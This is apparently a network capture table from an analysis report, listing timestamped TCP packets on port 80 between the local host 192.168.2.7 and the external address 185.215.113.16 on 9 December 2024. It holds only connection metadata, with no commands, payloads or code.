Dec 9, 2024 21:19:42.003295898 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.003525019 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.003590107 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.004410028 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.004573107 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.004652023 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.005316973 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.005378962 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.005430937 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.006359100 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.006505966 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.006572962 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.007519960 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.007703066 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.007788897 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.008593082 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.008620024 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.008728027 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.009660006 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.009685993 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.010751009 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.010828972 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.010868073 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.010937929 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.011842966 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.011986971 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.012141943 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.013046026 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.013223886 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.014065027 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.014122963 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.014137983 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.014200926 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.015141010 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.015283108 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.015342951 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.016287088 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.016350985 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.017355919 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.017412901 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.017420053 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.017472982 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.018440962 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.018501043 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.019541979 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.019603968 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.019644976 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.019772053 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.020700932 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.020843029 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.020900965 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.021752119 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.021866083 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.023011923 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.023062944 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.023088932 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.024044037 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.024071932 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.024102926 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.024135113 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.025055885 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.025114059 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.025193930 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.026247978 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.026386976 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.027297020 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.027328968 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.027347088 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.027380943 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.028387070 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.028486013 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.029484034 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.029536963 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.029618979 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.029666901 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.030561924 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.030627966 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.031666040 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.031730890 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.031738043 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.032814980 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.032877922 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.032915115 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.032915115 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.150960922 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.150985956 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.151072025 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.152084112 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.152096033 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.152177095 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.270205021 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.270220041 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.270307064 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.271399021 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.271416903 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.271501064 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.389709949 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.389738083 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.389750004 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.389761925 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.389772892 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.389789104 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.389799118 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.389810085 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.389849901 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.389872074 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.390079975 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.390094995 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.390100956 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.390106916 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.390117884 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.390139103 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.390162945 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.390172005 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.390175104 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.390187025 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.390218973 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.390244961 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.392311096 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.392323971 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.392338037 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.392349958 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.392362118 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.392467022 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.392754078 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.392826080 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.392839909 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.392853022 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.392863989 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.392874956 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.392887115 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.392899036 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.392901897 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.392926931 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.392952919 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.393692970 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.393707037 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.393723011 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.393733978 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.393744946 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.393755913 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.393758059 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.393768072 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.393779993 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.393790960 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.393819094 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.393847942 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.394435883 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.394450903 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.394532919 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.394534111 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.394547939 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.394557953 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.394568920 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.394579887 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.394591093 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.394593954 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.394625902 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.395442963 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.395457983 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.395468950 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.395481110 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.395492077 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.395503044 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.395512104 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.395515919 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.395528078 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.395531893 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.395558119 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.395595074 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.396236897 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.396250010 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.396267891 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.396280050 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.396291018 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.396307945 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.396313906 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.396320105 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.396331072 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.396342039 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.396373034 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.396426916 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.397304058 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.397320032 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.397332907 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.397339106 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.397345066 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.397351027 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.397356033 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.397365093 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.397428989 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.398165941 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.398180008 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.398191929 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.398202896 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.398214102 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.398222923 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.398226023 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.398236990 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.398247957 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.398276091 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.399122953 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.399136066 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.399146080 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.399158001 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.399168015 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.399179935 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.399180889 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.399192095 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.399203062 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.399224997 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.399254084 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.399854898 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.399868965 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.399879932 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.399893999 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.399923086 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.399923086 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.400315046 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.400326967 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.400337934 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.400348902 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.400360107 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.400367975 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.400371075 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.400382042 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.400398016 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.400407076 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.400420904 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.401300907 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.401314020 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.401324987 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.401336908 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.401346922 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.401357889 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.401367903 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.401369095 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.401380062 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.401423931 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.401423931 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.401448965 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.402156115 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.402168036 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.402179956 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.402189970 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.402200937 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.402213097 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.402223110 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.402223110 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.402235031 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.402244091 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.402266026 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.402280092 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.402924061 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.402942896 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.402960062 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.402977943 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.402988911 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.403002024 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.403009892 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.403012991 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.403026104 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.403037071 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.403037071 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.403070927 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.403867960 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.403892040 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.403906107 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.403917074 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.403928995 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.403940916 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.403949976 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.403979063 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.403979063 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.404768944 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.404783010 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.404793978 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.404804945 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.404817104 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.404829979 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.404841900 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.404844046 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.404855013 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.404871941 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.404912949 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.405564070 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.405610085 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.405622005 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.405666113 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.405947924 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.405982018 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.405996084 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.406006098 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.406014919 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.406016111 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.406044006 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.406064034 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.406075954 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.406089067 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.406099081 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.406111002 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.406145096 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.406172037 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.406840086 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.406852961 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.406894922 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.406896114 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.406908035 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.406919003 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.406938076 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.406949997 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.406959057 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.406961918 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.406971931 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.407025099 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.407845020 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.407856941 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.407867908 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.407879114 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.407893896 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.407902002 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.407912970 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.407915115 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.407917023 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.407991886 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.408706903 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.408802986 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.408804893 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.408818007 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.408828974 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.408840895 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.408850908 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.408863068 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.408864021 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.408874035 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.408888102 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.409066916 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.409580946 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.409600019 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.409630060 CET	49751	80	192.168.2.7	185.215.113.16
